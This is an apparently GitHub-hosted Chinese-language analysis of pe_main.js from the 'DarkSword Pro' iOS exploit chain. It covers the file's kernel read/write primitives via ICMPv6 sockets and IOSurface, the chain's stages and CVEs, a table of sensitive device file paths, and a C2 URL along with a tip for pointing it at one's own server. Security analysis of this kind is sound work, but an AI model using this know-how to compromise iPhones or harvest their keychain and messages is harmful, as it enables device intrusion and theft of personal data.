Skip to content

Latest commit

 

History

History
124 lines (95 loc) · 7.07 KB

File metadata and controls

124 lines (95 loc) · 7.07 KB

DarkSword Pro - pe_main.js 数据获取能力分析

根据代码分析, pe_main.js 主要是一个 内核读写漏洞利用工具 ,专注于获取内核级别的内存读写能力。

pe_main.js 核心功能

1️⃣ 物理内存读写

// 物理内存 OOB 读写
function physical_oob_read_mo(mo, mo_offset, size, offset, buffer)
function physical_oob_write_mo(mo, mo_offset, size, offset, buffer)

// 内核读写原语
function early_kread(where, read_buf, size)
function early_kwrite64(where, what)
function kread_length(address, buffer, size)
function kwrite_length(dst, src, size)

2️⃣ 内核读写通过 ICMPv6 Socket

// 利用 ICMP6_FILTER setsockopt/getsockopt 进行内核读写
function early_kread(where, read_buf, size) {
    set_target_kaddr(where);  // 通过 ICMP socket
    getsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, ...);
}

3️⃣ IOSurface 利用

// 创建 IOSurface 进行物理内存映射
function create_physically_contiguous_mapping(port, address, size)
function create_surface_with_address(address, size)

实际数据窃取能力

pe_main.js 本身不包含具体的数据窃取逻辑

它只是一个 权限提升 + 内核读写 的工具,真正的数据窃取需要后续模块。

根据 Google Threat Intelligence 报告,DarkSword 攻击链最终可以访问:

数据类型 路径 说明 钥匙串 /var/Keychains/keychain-ballot.db 存储密码、证书、密钥 WiFi 配置 /var/preferences/SystemConfiguration/com.apple.wifi.plist WiFi 密码 账户凭证 /var/mobile/Library/Accounts/ iCloud、邮件等账户 SMS/iMessage /var/mobile/Library/SMS/ 短信记录 通讯录 /var/mobile/Library/AddressBook/ 联系人 通话记录 /var/mobile/Library/CallHistory/ 通话历史 位置历史 /var/mobile/Library/Caches/locationd/ 定位历史 浏览器数据 /var/mobile/Library/Safari/ 密码、历史、Cookie 照片元数据 /var/mobile/Media/DCIM/ 照片信息

攻击流程中的数据流向

┌─────────────────────────────────────────────────────────────┐
│ 1. rce_loader.js                                          │
│    - 检测 iOS 版本                                         │
│    - 加载 rce_module.js / rce_worker_*.js                 │
└─────────────────────────────────────────────────────────────┘
        ↓
┌─────────────────────────────────────────────────────────────┐
│ 2. RCE (WebKit RCE)                                       │
│    - CVE-2025-31277 (iOS 18.4)                           │
│    - CVE-2025-43529 (iOS 18.6)                           │
│    → 获得 JavaScriptCore 执行权限                           │
└─────────────────────────────────────────────────────────────┘
        ↓
┌─────────────────────────────────────────────────────────────┐
│ 3. Sandbox Escape (sbx0_main_18.4.js / sbx1_main.js)     │
│    → 绕过沙箱限制                                          │
└─────────────────────────────────────────────────────────────┘
        ↓
┌─────────────────────────────────────────────────────────────┐
│ 4. Privilege Escalation (pe_main.js)                      │
│    - 内核读写通过 ICMPv6 socket                           │
│    - IOSurface 物理内存映射                                │
│    → 获得内核级读写能力                                    │
└─────────────────────────────────────────────────────────────┘
        ↓
┌─────────────────────────────────────────────────────────────┐
│ 5. 数据窃取(后续模块 / C2 下发)                          │
│    - 读取敏感文件                                          │
│    - 通过 C2 信道上传                                      │
│    - C2: static.cdncounter.net (已关闭?)                   │
└─────────────────────────────────────────────────────────────┘

C2 配置位置

在 rce_loader.js 第 9 行:

var localHost = "https://static.cdncounter.net/assets"

这个地址是默认 C2,但可以被替换为你的本地服务器地址(通过 --c2-host 参数)。

数据窃取实现方式

内核级读取示例

// pe_main.js 提供的内核读写能力
function kread64(address) {
    let value = new_bigint();
    early_kread(address, get_bigint_addr(value), 0x8n);
    return update_bigint(value);
}

// 可以读取任意内核内存
let kernel_base = kread64(find_kernel_base());
let keychain_ptr = kread64(kernel_base + 0x12345678);

总结

组件 功能 可获取数据 pe_main.js 内核读写 (krw) 内核内存任意读写 rce_loader.js 加载器 + C2 控制信标 rce_module.js RCE 模块 JS 执行 sbx*_main.js 沙箱逃逸 沙箱外执行

实际数据窃取 需要利用 pe_main.js 提供的内核读写能力去读取:

  • 钥匙串数据库
  • WiFi 配置
  • 账户凭证
  • 文件系统等 但具体的数据窃取逻辑(读取哪个文件、如何解析、如何上传) 不在 pe_main.js 里 ,而是通过 C2 信道接收指令或后续 payload 实现。

⚠️ 仅供安全研究,禁止非法使用!